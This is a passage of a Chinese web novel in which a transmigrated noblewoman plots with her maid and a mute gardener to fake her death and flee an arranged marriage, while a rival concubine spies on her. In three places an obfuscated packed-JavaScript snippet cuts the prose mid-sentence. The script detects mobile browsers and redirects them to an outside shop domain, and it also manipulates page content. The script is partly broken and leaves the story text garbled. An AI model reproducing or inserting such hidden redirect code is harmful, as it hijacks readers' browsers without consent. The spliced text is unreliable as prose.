结海楼冷清得很,原来的徽月喜静性格刚烈,又喜静,院中仆役清了一波,如今除了贴身丫鬟向小园,便只有两个妈妈和四个洒扫丫头谷雨、芒种、白露、立冬。 立冬端着药碗进了正屋,孟徽月收拾着几案头也没抬:“这里不需要你伺候了,告诉外面的人我看书的时候不得随意靠近。” 立冬应声躬身退了出去。 小园将门窗一一关闭,确认外面无人后走到徽月身边:“姑娘在融月亭里说的那话究竟什么意思?” “你我都知道,这康国公绝非良配,可靠咱们的力量要推翻这门婚事,有几成把握?” “恐怕一成都没有……” “正是,这婚事完全由父母做主,母亲已经不在,父亲的态度你我心知肚明,这桩婚事给孟家带来的只有数不尽的好处,对父亲官阶有益,对几位妹妹婚事有益,对两个弟弟日后科举有益……至于对新娘子本身是否有益,便不是他们需要关心的了……”徽月抬笔在砚台上细细理出笔锋,漫不经心地说道。 小园眼睛一下子就红了:“姑娘命太苦了!老爷怎么忍心让姑娘嫁去那狼虎窝……姑娘可是老爷的亲女儿啊!是咱们孟府的嫡长女啊!” “有什么忍心不忍心,公主尚且要背负和亲重任,更何况我一个六品官的女儿?女子在这个时代有什么尊严可言,活得还不如一个物件儿,一个摆设,只是一个巩固地位的手腕和方式而已,有几个人把她们当作一个人,一个活生生的,有血有肉的人呢……” “姑娘!”小园疾声提醒,“您怕是糊涂了!这话可不能随便说啊……要是被人听到了……” “我心里清楚,自然只是和你说说。” “要是夫人还在……这门婚事说不定还有转机……” “如今我们只能靠自己了。”徽月提笔写下八个大字。 逃婚假死重生计划! 看着一头雾水的向小园,徽月抬笔问道:“这府里究竟有几个咱们信得过的人? 4. 第 4 章 “信得过的人……”小园圆圆的五官因费力思考扭成一团,许久才一脸苦恼地开口:“周妈妈好像只有在前院打理花草的方观棋了。” 方观棋……孟徽月在记忆库努力搜索着这个名字。 “是那个5岁被我从戏台班子带回府里的小男孩?” “是的,外男不入内宅,而且观棋自小不会说话,夫人就给他在前院谋了个花匠的差事” “他能信得过吗?”徽月有些犹豫,“毕竟十年过去了……” “观棋一直记着姑娘的恩情呢,这几年他经常偷偷塞给我一些姑娘喜欢吃的糕点,姑娘落水也是他跳下去救得,事后又给了我不少碎银子,托我给姑娘多买些补品……” 方观棋…… 徽月在原身的记忆里看到了那个骨瘦嶙峋的小男孩。堆满补丁的衣服都掩盖不住身上一条一条已经结痂的淤痕,小兽一般透着血性的眼神警戒着四周,漆黑的眸子里充斥着倔强与不甘。 一晃十年过去了,府里也曾匆匆见过他几次,那时的小孩已然逐渐有了大人模样,瘦高清秀,那股子野性消失得无影无踪,整个人愈发安静平和。 只是这个人真的能信得过吗…… 徽月挥笔写下“方观棋”三个字,在后面打了个大大的问号。 “姑娘不放心观棋吗?”小园见徽月咬着笔杆子发愣,停下研墨的手。 “毕竟我们十多年未与他深入接触过,人都是会变的。”徽月看了眼紧闭的门窗,“这院里的人几乎被任姨娘换了个遍,两个妈妈和那几个丫头都不是自小跟着我的,以后在她们面前说话也小心些,不要泄露了我们的计划。” 小园点点头:“奴婢知道的。” “都说不要总是奴婢奴婢的,这里又没有外人。等咱逃出去你一个奴婢咱俩身份全露馅!” 向小园天人交战了一番,才改口:“小园知道了。” “这才对嘛!至于这个方观棋……得找个机会见见他,探探究竟可不可信。” “姑娘可是有什么打算?” “过段日子我会找个机会告诉父亲,结海楼园子荒芜需要修整,请父亲安排个花匠来。” “可是姑娘怎么能保证来的一定是观棋呢?府里花匠也不在少数……” “这不是难事,如果那天府里会侍弄花草的只剩他一个呢?” “那就只能是他了,可是这怎么可能呢……” “过几日任姨娘不是要整修郊外的园子吗?你去告诉方观棋,那日装个病不要去,等我的消息。” “对啊,这样他就可以光明正大地来我们这了,姑娘你好厉害啊!” “信息才是最宝贵的财富……多打听点消息谁知道哪一日就能用到呢?小园你平日里也要眼观六路,耳听八方,多多留心才是。”徽月提笔又写了个“钱”字,眼睛亮亮地扭头:“小园啊,咱们究竟有多少私房钱。” 自醒来后,结海楼虽有些清苦,但仍旧是衣来伸手饭来张口,并无多少需要用钱的地方,徽月早就对自己有多少小金库充满了好奇。 向小园脸色一僵,叹了口气起身走到里屋从衣柜里拿出了一个木盒,打开里面只有薄薄一层碎银子和首饰。 “就这些?”徽月扫了一眼,居然仅有不到十两银子。 “就这些了姑娘……姑娘和我加起来一月才三两银子,咱们也没有其他收入,姑娘吃不惯府里的饭菜,咱们院里经常开小灶,再加上丫鬟妈妈们的打赏钱,就这些还是我硬攒下来的。”小园委屈极了。 “别说出去以后的盘缠了,这些银子还不够咱们在府里打点的呢……”徽月提笔在“钱”字后打了个大大的星号,喃喃自语,“有什么赚钱的办法呢……” “咱们在内宅,出去的机会都少得可怜,哪有什么赚钱的方法呢。” “要是能时时出去就好了……” “姑娘别总是想着这些了,虽然现在大周女皇临朝,朝中也有几位女官,可是这终究不是正道呀!哪个女子最后不都是安心在家相夫教子,总出去抛头露面这叫什么个事儿呀……” “小园啊,你自小跟着我读书,可这书是越读越迂腐了。身为女子,别人还未说什么,你倒是自己先把自己看轻了,又叫别人如何敬你重你?还有什么叫出去抛头露面?男人能做的平常之事,怎么女子却做不得?自己有安身立命之本,才能把生活的主动权掌握在自己手里!再说了,你就不愿意走出内宅见见大周朝锦绣河山?”徽月拿笔杆敲了敲她的脑袋。 “这是咱们想便能做到的吗……”小园抱着脑袋撇嘴巴。 “先别管这些,我只问你想不想?” “那自然是想的,夫人还在时总是说起她的故乡徽州,小园自小便想去看看那碧瓦白墙,那一排排房子就像画里的一样!” “咱们会去的。”徽月眼珠子一转,“当务之急是搞钱,越多越好。” “姑娘准备怎么做?” 徽月提笔写下四个字:“自古存钱无非就两条路,开源和节流。咱们院里月例银子本就不多,节流是不可能了,只能从开源这头想办法。”她用毛笔圈住这两个字,深思了一会儿转头问小园,“你知道我母亲的嫁妆怎么样了吗?” “夫人逝世前,吩咐我们将她的嫁妆都锁在库里一个单独的房间,钥匙和嫁妆单子给了姑娘您……” 徽月一听,印象里好像有这么回事,她扔下笔钻进闺房翻箱倒柜,终于凭借记忆在床头的暗格里找到了个带锁的黄花梨镶螺钿盒,打开后,里面放着秦方好的嫁妆单和一把钥匙。 秦家在徽州是机杼大户,秦老太爷夫妇只有这么一个独生女,恨不能将最好的都给这个远嫁的女儿。 嫁妆单子足足有厚厚的一摞,可以想象出嫁时那十里红妆的场面有多么震撼! 后来秦老太爷夫妇相继病逝,秦方好无力管理家中产业只能变卖,手里的积蓄便又多了许多。只可惜为了孟瞻儒的仕途,这几年零零碎碎补贴进去将近一半。 再后来,她病重,逐渐认清枕边人是个凉薄不可托付之人。 孟瞻儒的爱是真的,可是这份爱消磨得太快也是真的。秦方好只担心自己死后两个孩子在孟府会如何,于是临走前将嫁妆托付给了这个长女。 徽月拿着嫁妆单子细细比对,勾出剩下的并留出孟连筠的一份后,竟也没剩多少,她列出几样方便处理的着重标注。 纸上一列一列的,从珠钗玉饰到家具物件儿,涵盖着一个女子从出生到老去能用到的所有东西。 记录了秦方好最美好的年华,也倾注了父母的全部爱意和良苦用心。 她想到了那个未曾谋面的母亲。 这些都是她留给孟徽月的,倾注了无尽的爱意,浇筑了无尽的心血,可是孟徽月已死,自己鸠占鹊巢,真的有使用这些的权利吗? 想到这儿,徽月没来由地有些烦躁,“啪”得一声合上嫁妆单子,和钥匙一起扔回暗格里。 小园不知道姑娘怎么突然不高兴了,只能默默地添了碗茶水递过去。 徽月一饮而尽:“你去告诉方观棋,几日后等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588008|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息。” 几日后,任姨娘带着两个女儿前往郊外的宅子,临走前琴月拉着书月来徽月面前好一番耀武扬威,从新买的衣服到新换的首饰,叽叽喳喳炫耀个不停。 徽月只觉好笑,因有计划在身,不多言语,笑吟吟地恭喜了两位妹妹便匆匆去找孟瞻儒,只留琴月在一旁跺脚。 孟瞻儒刚下朝回来,徽月福了福身迎上去接过乌纱帽:“这天儿还冷着,父亲早起上朝实在是辛苦,我让小厨房煨了些黄芪鸡汤,补气是最好的,父亲尝尝。”说着从提盒里端出一碗热腾腾的鸡汤来。 孟瞻儒接过吹了吹凉,一口饮尽,只觉这鸡汤鲜嫩而不粘腻,口感香醇韵味无穷,不由地赞了句:“好汤!” “姑娘天不亮就起来炖这鸡汤了,小火慢炖着生怕煮老了不好喝。” 孟瞻儒最近看这女儿是怎么看怎么欢心,自从应了和康国公的婚事后,忽然间变得知书达理,分外听话。每日除了在屋里学习女工,便是想着花样关心自己的身体,今日炖了鸡汤,明日煮了药粥,手艺堪比大厨。 看着一旁掩袖咳嗽的孟徽月,他喜从心来,眉宇一舒展,整个人乐呵呵地更似一尊弥勒佛,柔声说道:“丫头有心了,以后这些事让下人来就行了,何必自己辛苦,你看你这咳嗽还未见好,若再累着可怎么好。” “事亲以敬,美过三牲。这都是女儿应该做的,况且女儿已经好多了,偶尔咳嗽两声倒是让父亲担心了。”徽月甜甜一笑,“再说了,父亲体寒,补药要慢慢滋补,不得太过恐适得其反,下人去做女儿总是不放心的。” 孟瞻儒看着女儿双眸下乌青一片,心疼地招招手:“快回去休息吧,看着眼圈乌青的,怕是没怎么睡好吧。” “不打紧的,女儿回去把院子修整下再休息。” “修理院子有什么要紧的,过几日父亲派几个花匠去帮你打理。” “父亲的好意女儿心领了。只是自古园林院落最讲究风水,结海楼杂草已有数寸高,破坏了整体风水布局,女儿前几日看了本风水著书,推算今日一定得修整完毕,不然怕对府内之人运势有碍。” “这……这么严重……柳管家,派几个花匠去结海楼。” “老爷,任姨娘今日修整郊外宅子,花匠怕是都带走了……”柳管家一脸为难地看了看孟瞻儒,又看向孟徽月。 “父亲无需担心,女儿不累,带着院内下人半日便可修整好。”孟徽月说着忽而咳了两声,用手绢掩住,接过小园递来的茶抿了两口。 “哪有让你自己弄得道理,你看看你这咳嗽还没好透,现在应该好好休息才是!”他转头看向柳管家,“全带走了一个都没留下?府里要是有其他安排怎么办?做事怎么不会留一线……” “是女儿的错,原想着自己能处理,便不曾告知姨娘。谁知今日竟冲突了……”徽月一脸懊悔。 “怎么能怪你呢……纵不是你,府里若有个别的差事不也耽误了?”孟瞻儒眉头微皱。 “姨娘琐事繁多,怕是忙中出错一时忘记了……父亲别太苛责姨娘了。” “徽月啊……你可真的是长大了……为父心里欣慰啊!”孟瞻儒的眉间舒展开来,转头看向柳管家,“你可有解决之法?” “这……这府里还有个小花匠因病没跟着去,只是他不会说话,恐怕……” “就派他过去吧。”孟瞻儒招招手示意柳管家去安排。 徽月见目的达成,也不多留,起身行礼:“多谢父亲体恤,父亲公事繁多徽月不便打扰,先行告退。” 5. 第 5 章 徽月前脚刚回结海楼,柳管家后脚便领着方观棋匆匆赶来。 “大姑娘,这便是今日闹肚子没去成的小花匠,叫方观棋,是个哑巴。”柳管家使了个眼色,方观棋俯身拜了下去。 “柳管家上心了,我这院子小,废不了多少功夫,小园备好了茶,柳管家在这稍坐片刻小憩一下。” “哪敢劳烦姑娘,姨娘外出,府里还有许多事要操持,不敢久留。” “柳管家真是利落,难怪这么多年深受父亲信任,既如此徽月也不好多留,等这位小花匠忙完我便差人将他送回去。”徽月使了个眼色,小园将银子塞给柳管家。 “这是我们姑娘请管家喝酒的。” “老奴不敢。”柳管家口中呼道,微微抬眼看了看孟徽月,见她笑盈盈的,才收下银子退了出去。 方观棋还跪在那儿,徽月起身朝屋外走去:“起来吧,跟我去院子里看看。” 竹林杂乱无序,已不复雅致清丽。石径四周野草逐渐拔头,需连根拔起。而开放的鸢尾、桃花、百合、海棠等,蔫蔫得缺少养分,低着头无精打采,花圃失了几分活力与生机。 需要整修的地方已一一交代完毕,方观棋沉默地蹲下开始除草。徽月吩咐谷雨沏一壶黄山毛峰送到小潭上的醉枫亭。 她捧着一本《广物志》细细读着,小园看着埋头苦干的观棋,又看了看悠闲自在的孟徽月,忍不住小声问道:“姑娘找观棋来不是有事要商议吗?要不要现在喊他过来?” “不急。”徽月捧起茶盏呷了一口,继续埋头苦读。 转眼太阳已从东侧悄悄移到了正空,日头越发毒了起来。 徽月抬眼看了看那日头,喊来谷雨:“叫下面的花匠来回话。” 谷雨应声,领着方观棋进了亭子,徽月挥挥手示意她退下。 醉枫亭里只剩徽月,小园,观棋三人。 “坐吧,小园看茶。”徽月指了一处石凳,却见方观棋低头定在那一动不动,见她疑惑地看过去才一连串比了几个手势。 孟徽月没想到自己居然看得懂:“你说刚出了一身汗,怕弄脏了石凳?” 观棋点了点头。 或许这几年来,方观棋和自己比想象中要亲近得多。 前世自己未曾学过手语,能读懂这一连串手势只能是原身特意学过。会为了读懂他比划了什么而特意去学,他们三人的感情应该是真的很好。 “无妨,凳子脏了再擦便是,况且哪个辛勤劳动之人不是汗流浃背?这不是污点,是劳动者的勋章。” “你就坐下吧,别拂了姑娘的好意。诺,喝口茶解解渴。”小园将他按在椅子上,又推过去一盏茶。 许是好久未见,观棋拘束地很,总是小心翼翼地看着孟徽月的眼色,衣服也是好几年前的款式,洗得发白却不曾换下。 看样子母亲去世后,他在前院过得也并不好。 秦方好一死,任秀容掌家,恨不得将秦氏的羽翼剪个干净,自己都自身难保,更不消说一个被带进府的小哑巴。 “园子修整得怎么样了?”徽月抛出话题。 观棋连忙放下手中的茶盏,慢慢比划道,衣袖一抬露出了个银手镯。 【大体修整完了,只是园中花种类太少,需要回去多挑一些种上,以保一年四时都有鲜花可赏。】 那是他进府第二年,徽月给他和小园一人一个的。银镯子虽有几处磕碰但保养得很好,可见主人时时佩戴又极其上心。 徽月收回视线托着腮,有一搭没一搭听着,这个园子根本不是重点,她今日的任务是观察这个方观棋究竟可不可信。 自小长大的情分是在的,可是人心太易变,如风拂水面无一丝留痕,谁还能保证认识的还是之前的那个人? 看到观棋比划着准备挑选的花种,徽月故意插嘴道:“再移过来一株海棠树吧。婚期将近,也给结海楼添添喜气,好保佑我在国公府里头顺顺利利。” 观棋正在比划的手顿住了,用力咬着后槽牙好像听到了什么了不得的话。 徽月注意到了这点,却仍装作不知,一脸纯良地问道:“怎么不说了?这海棠究竟能不能移过来呀?” 方观棋沉默不语,徽月也不催他,亭内沉默了好一阵儿。 直到方观棋放下茶盏,直直跪了下去,手比划地飞快: 【姑娘这门婚事,夫人九泉之下也不会同意的。国公府狼虎之窝,绝非良地,观棋自小受姑娘和夫人恩惠,甘愿效犬马之劳,断不能眼看姑娘入那污糟地儿!】 “那你说我该怎么办?”徽月一脸平静,“我又能怎么办呢?” 观棋久久没有动作,心中天人交战。 徽月耐心地等着,端起茶盏细细品尝。 好一会儿方观棋直起身,眼神坚定: 【姑娘大恩,观棋无以为报,只能以命相还。我孤身一人无牵无挂,明日便辞了这份差事离开孟府,为姑娘解决后顾之忧,杀了康国公那老贼!】 “噗————”徽月一时没忍住,嘴里的茶水全喷了出来。 这个愣头青,怎么上来就是打打杀杀啊! “姑娘!”小园还震惊在方观棋的话里,愣了一会才赶忙拿起手绢为徽月擦拭。 “康国公何等人物,岂是你能做到的?” 【我愿放手一搏,如若成功,姑娘便能另寻个好人家。】 “就算你从孟府出去,事后只怕也会查到孟家。” 【观棋自会说明是个人恩怨。康国公恃功横行,民众积怨已深,想要他性命之人不在少数。】 “你倒是见识挺深,学问不少啊。” “都是小时候姑娘你教的呢……”小园插了句嘴。 观棋深深拜下去: 【观棋一生流离失所,在戏班被动辄打骂,所有人只当我是个物件儿,从未把我真正当做人来看待。是姑娘和夫人给了观棋一处遮风挡雨的屋檐,教观棋习字,让观棋读书,观棋无以为报,愿为姑娘豁出性命!】 方观棋还伏在地上,徽月久久没有说话。小园有些着急,却知道此事自己不能插嘴,焦急地在两人间看来看去。 就这么僵持了一盏茶的时间,方观棋听见孟徽月的声音在头上响起:“海棠就不必了吧,我院里还是缺一些菊花。你回去仔细挑拣着,明日就送来吧。菊花才对味,毕竟‘菊花自择风霜国,不是春光外菊花’啊……” 方观棋听懂了。 不要以为是春天排斥菊花,是菊花自己喜欢去斗风霜。 姑娘也不愿意这桩婚事! 他起身正要退出去,又听见徽月的声音: “不要擅自做主,一切等明日把花送来了再说。” 方观棋郑重地点点头,慢慢退出了醉枫亭。 天色已晚,任姨娘坐了一个时辰的马车身子早已酸疼不已。老爷今日歇在了徐姨娘那儿,两个女儿也已回房歇息,她疲惫得很,足足泡了一炷香时间才唤丫鬟过来更衣。 任秀容半躺在榻上,闭眼休息了好一会儿才懒懒地唤了声“丛妈妈”。 屋内走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588009|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一个精明干练的女人,满脸的麻子星星点点散在如圆盘的大脸上,一张大嘴不笑都将将咧到耳边。丛妈妈将手里端着的点心递了过去:“姨娘可是要歇息了?” 任秀容拾起一块桃花糕:“这才几时,今儿个我不在,结海楼那边可有什么动静?” “大姑娘一早去找了趟老爷,说要整修院子,请老爷派个花匠。” “这早不整晚不整的,偏偏要等我带花匠出门才去请,莫不是又要借题在老爷面前嚼舌根!” “这次倒没有……大姑娘提了嘴要自己回去整修院子,是老爷吩咐派花匠过去的。” “哦?”任秀容端起茶盏,一听此话挑了挑眉,“是老爷提的?” “正是。大姑娘说拖到明日对宅子风水不好,老爷听闻府里一个花匠都不在有些生气,倒是大姑娘劝了几句。”丛妈妈走至任秀容身后,轻轻给她捏起了肩。 “她?她能劝什么?” “说姨娘您琐事繁多,总有忙中出错的时候,让老爷不要过于苛责……” 任秀容将茶盏放在桌上:“这孟徽月还真是变了个性子啊……以往直来直去的性子居然也学会迂回示弱了……” “看样子大姑娘这是知道斗不过姨娘您,想卖个好儿呢……” “卖个好?”任秀容冷笑了一声,“咱们和结海楼是没有重修旧好的可能了,你以为她今天是在老爷面前维护我?” “姨娘的意思是……” “明捧暗贬!她越维护我,老爷估计越觉得我这件事没有处理好。忙中出错?岂不是在告诉老爷,这孟府我已经管不过来了?” “大姑娘从小是咱看着长大的,她可没有这样的心机……” “那日在祠堂我便看出来了,这场大病是彻底让这丫头转了性子,三两句话就让老爷整饬了整府下人,咱们可得上上心了……”任秀容把玩着耳边的碎发,“让结海阁里的那几个机灵点,别让这丫头看出来是我们的人。” “奴婢知道了。”丛妈妈靠近任秀容悄声说到:“今日过去的那个花匠是大姑娘那年带进府里的那个……中途大姑娘还招他过去说了一会子话。” “是那个小哑巴?” “正是……奴婢心想是不是……” “知道今日他们聊了什么吗?” “今日是在湖心亭里,那几个只听了一点儿,好像是说院子还需要添点什么花草……” “让她们机灵点儿。”任秀容看着晃来晃去的烛火:“这几年过得太安逸,今日这事确实是我欠考虑了,往后要打起十二分精神来。” “姨娘是不是过虑了……您要斗大姑娘那还不是轻而易举?这几年她不是被您压得死死的吗……” “以前是以前,现在是现在……在她没嫁出去之前,咱们都得小心应对。你别忘了尤妈妈是怎么被赶出去的。” 丛妈妈脸色一凛。 说了这会子话,任秀容面带倦色,“什么是时候老爷能纳我为继室,两个女儿都能许个好人家,我才能真正放松下来……” “这家的女主人只有您才行!云裳苑那个根本拿不出手,哪有姨娘您大气……”丛妈妈手指轻轻为她揉着太阳穴。 “云裳苑没什么动静吧?” “还能有什么动静,徐姨娘带着两个孩子连门都不出,每日只在云裳苑里绣花,织布。” “那就好……你可是我的心腹,不枉我今日将你留在这府中……”任秀容闭着眼,声音越来越轻,“我要一步一步爬上去……挡我路者,决不可留……” 6. 第 6 章 方观棋手脚倒是麻利,没几日便端着一篮花种经由院里妈妈领着进了结海楼。 孟徽月这几日也没闲着,每日除了请安外便躲在小书房里写写画画。连小园都不知道她在忙些什么。 她决定信任方观棋。 徽月相信细节是偏不了人的,她相信方观棋念着旧情,而且……如今她也确实没有更好的选择。 方观棋来的时候,孟徽月正聚精会神地拿尺子画着一个个小格子。 “姑娘,观棋来送菊花种子了。”陈妈妈是前几年新来的,不太爱言语,干活倒是麻利得很,徽月对她印象不错。 观棋见徽月抬头望了过来,连忙拱手行礼,身边放着一大篮子花种。 “来得正好,我们去醉枫亭,那里整个院子情况看得最清楚。”徽月搁笔起身,抱着一大叠纸扭头吩咐小园带上笔墨纸砚,并嘱咐任何人不得靠近。 临近五月,天儿是越来越热。醉枫亭建于一池潭水正中,水面风起,习习凉风,吹得竹林沙沙作响。 观棋比手语,小园翻译,徽月坐在石桌前写写画画,心不在焉地听。 观棋比划结束,徽月却迟迟未有动静。小园忍不住出声提醒:“姑娘……” 徽月这才回神,望了望立在一旁的观棋,见四下无人,她手一挥,取出一张纸示意小园递过过去:“说得不错,我画了张图纸,你看看照上面在园中添上菊花可有难度?” 观棋接过纸张,扫了眼上面的字。 【如若我想将东西递出府换成钱银你可有办法?】 他小心翼翼看向孟徽月。 徽月笑着点点头,示意他取笔。 观棋提笔写下: 【有办法,我定期出门采办府里花种,熟悉一些货郎、商贾,他们为人可信,银货两讫,绝不多问。】 徽月看完又提笔写道: 【我若想从京陵城向南走,你觉得一人大约需要多少路费?】 她毕竟自穿越后一直待在这深宅之中,大周朝的一切都是从书本里得知的,难免闭门造车。 方观棋一愣,瞪大眼睛看向孟徽月,眼神里写满了震惊。 【姑娘是要……离开京陵城?】 孟徽月托腮笑得明媚,本就艳丽的容貌一改往日苍白的病态,春风拂过,把桃花的春色吹到了两颊,看得方观棋一时愣了神。 【是啊,逃出孟府,逃出京陵城,去看看外面的大千世界。】 “那个小哑巴又去结海楼了?”任秀容正在折春阁的院子里理丝线,听到丛妈妈的汇报秀眉微蹙。 “别是看上那个小哑巴了吧,三天两头招到院子里来,真是不知羞耻。”一旁练蹴鞠的琴月出言嘲讽。 “女孩子家说什么呢!这是你父亲允的,你可别浑说,若是让你父亲听见又要骂你不知礼数了。”任秀容斜乜了女儿一眼,把丝线往前一绕,坐在对面的书月一扯一拽一拉,缠在一起,而后抬头问道:“可打听到两人说了什么?” “只听到在讨论要把菊花种在何处,大姑娘好像亲自设计了图纸,那个小哑巴给改了不少,两人写写画画地讨论了好一会儿。” 任秀容将理好的丝线放在一旁:“听着倒是没什么可疑之处,这丫头反正闲来无事,老爷又不允许她出门,想来也只能在花花草草上下功夫了。” “女儿总感觉不妥,不如让丛妈妈再打听打听?”书月摸了摸耳坠提议道。 “有什么不妥?我看你就是心思重,整日派人盯着结海楼,小心被孟徽月发现去父亲那告上一状!”琴月三绕两绕用力将皮革球一踢,正中靶心红点。 她兴奋地呼了一声。 任秀容皱着眉头:“你妹妹那是心思缜密,哪像你整日围着这破球粗俗地紧,你就不能学学你妹妹做点女孩子家的玩意儿?” “蹴鞠怎么就不是女孩子的玩意儿了?当今女皇便极爱蹴鞠,听李家姐姐说宫里蹴鞠会可办得勤呢!” “那是宫里!女皇爱蹴鞠,可你几时见过她亲自下场踢过?整个京陵城也就你,每每聚会都在场上跑来跑去,没有一点大家闺秀的风范!这不日就要议亲了,你给我消停点!” 书月压下嘴角的冷笑,拉着任秀容的衣袖笑盈盈劝道:“娘别总是说二姐姐了,二姐姐洒脱不羁,京陵城的贵眷可都夸得紧呢。” “我的好女儿,你这般才色双绝,纵是嫁入皇宫都是应该的。娘只盼孟徽月嫁进那国公府,能让外人高看咱们家姑娘一眼,让你许个好人家,从此咱们就可以一世无忧了!”任秀容一把搂过孟书月,亲昵地捏了捏她的脸蛋。 “娘放心,书月一定不会过得比徽月差!定寻个世上最好的夫婿,让娘享清福!” “这才是娘的好女儿!” 孟琴月冷眼看着这一幕,将球狠狠踢到一边,扭头回了屋。 方观棋看着眼前笑吟吟的女子,仿佛纸上那大胆的言论不是出自她口。 【姑娘可知女子孤身在外,有多不便难?】 【小园已经表明要随我同去,所以并非孤身一人。】 身旁的向小园郑重地点点头。 【可是……可是姑娘从小养尊处优,怎么能受得了外面的生活?】 【如何受不了?退一万步说,再苦也比在国公府强。只要有一门安身立命的手艺,何处都能扎根。】 【姑娘……】 【你不必劝我了。现在的局势十分明了,父亲心里康国公我是非嫁不可,可我不愿意,为今之计只有走为上策。你只需告诉我途中需要准备多少银两,有何注意事项即可。若你不愿意,我可以寻其他人帮我带货出府。】 方观棋抬头,看得到徽月眼里的坚定,她直直地坐在那里,如一棵劲松,从来不曾被风雪压弯腰。 他屏息静气思虑良久,提笔写道: 【姑娘如要离开京陵城,便带上我一个吧!】 徽月有些惊讶,不由地问出声:“你愿意和我们同去?”随后警戒地看了看四周,提笔写道: 【我们现在一切都是未知数,去往哪里,如何谋生一概不知,总是比不过在孟府有一檐遮风挡雨之处的,你何必跟着我们去吃苦……】 【观棋是姑娘所救,这条命已经是姑娘的了。而且我跟护院学了点儿拳脚功夫,路上也可以保护你们二人,有个男子在身边总归是方便得多。】 小园一见,开心地拍起了手:“太好了!这真的是太好了!” 徽月凝视方观棋好一会儿,像是在甄别他的用心。 他腰背挺得笔直,眼神直直望向孟徽月,眼底清澈。 许久,徽月叹了口气提笔写道: 【那我们便是姐弟三人一同出行了。】 【观棋不敢。】 【有何不敢,我是大姐,小园是二姐,你便是小弟了。今日咱们逃婚小分队第一次集结!】 观棋和小园面面相觑,姑娘总是说出一些他们听不懂的话。 【那姑娘究竟有何计划?】小园在纸上问道。 【大婚前日假死,父亲重名声一定会草草下葬,咱们便在下葬当日打包细软逃出京陵城!】 【能有这么容易吗……】小园一想到要逃出深宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588010|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,走出京陵城,跋涉千里,心里的担忧一股脑堆到了眉梢。 【总之先凑足经费,想一出瞒天过海的计划再说。】 【走出京陵城之后呢?再多的银两总有花完的一天……】小园笔下的字都有些歪歪扭扭。 【谋份差事。】 【我们?观棋倒是容易,可我们两个女子……】 【女子又怎么了?如今年女皇临朝,不是也有提拔女官?而且如今女子也有摆摊经商的,这不样样都可以养活自己?】 【话是这么说,可是……】 【不破不立,留在这里只能甘居他人继室,困顿一生。还不如拼一把走出去!即使机会与危险并存,却也终能搏得一线生机。】 小园和观棋你看看我,我看看你,并不十分理解这段话的意思。 徽月忽然看着谭边似乎有个人影鬼鬼祟祟,便立即结束了这次谈话。 【每三日我们碰次头,小园会将纸条放进花盆中给你,这便作为我们传递消息的方法。今日你先回去,后几日我整理好一批需要带出去的东西再和你联系。】 观棋也看到了谭边的人影,立即起身行礼退了出去。徽月将所有写过的纸在盆中引燃,不留下一丝痕迹。 “是谁在那儿?”徽月在砚台上理了理毛笔,高声问道。 “是奴婢。”由远到近走过来一个人。 是白露。四人中年纪最小,平日最安静乖巧的一个。 “你在那儿干什么呢?”徽月头也不抬,抄着诗集。 “谷雨姐姐让我来看看姑娘要不要点心或者茶水。”白露低着头。 “我吩咐任何人不得靠近,而且小园在这儿服侍,你不知道吗?”徽月抄到最后一句,拿起宣纸细细欣赏,字倒是好字,只是太过于娟秀,和她原来的字迹相差甚远。 “我……我不知道……谷雨姐姐没告诉我小园姐姐在这里……”白露低头咬着嘴唇小声答道。 久久没听到孟徽月说话,她小心翼翼抬起头,只见孟徽月托腮似笑非笑地看着她。 白露顿时冷汗直流,“啪”得一声跪在地上:“姑娘我真的只是来看看您有什么吩咐的,我不知道小园姐姐在,若……若我知道小园姐姐在您身边服侍,我肯定不会来的……” 她跪在地上不敢抬头。以前的大姑娘虽然脾气不好,总是发火,可她却不是那么害怕,她的气儿往往来得快,消得也快。可如今的大姑娘……虽然总是笑着,可那笑容让人摸不透,读不懂,看得心里发怵。 那日尤妈妈硬闯大姑娘闺房,不知事后大姑娘和老爷说了什么,第二日尤妈妈便被赶去了郊外庄子…… 久久听不见孟徽月的声音,白露紧张地咽了咽口水,又不敢抬头,背上像有万千蚂蚁缓缓爬着,鸡皮疙瘩一层一层浮了上来。 “起来吧,我不过随口问问,这么紧张干什么?”徽月笑着说道,将所抄诗集放在火苗之上,纸张迅速被火焰吞噬,打着旋儿落入盆中,“写得不顺手就烧了吧……”。 白露战战兢兢起身。 “你去让小厨房准备点小米粥,这一日过去竟有些饿了。” 白露如捣蒜般点点头,飞快退了出去。 徽月看着她落荒而逃的身影冷笑一声:“看来这第一步要好好敲打敲打这院里人了。” 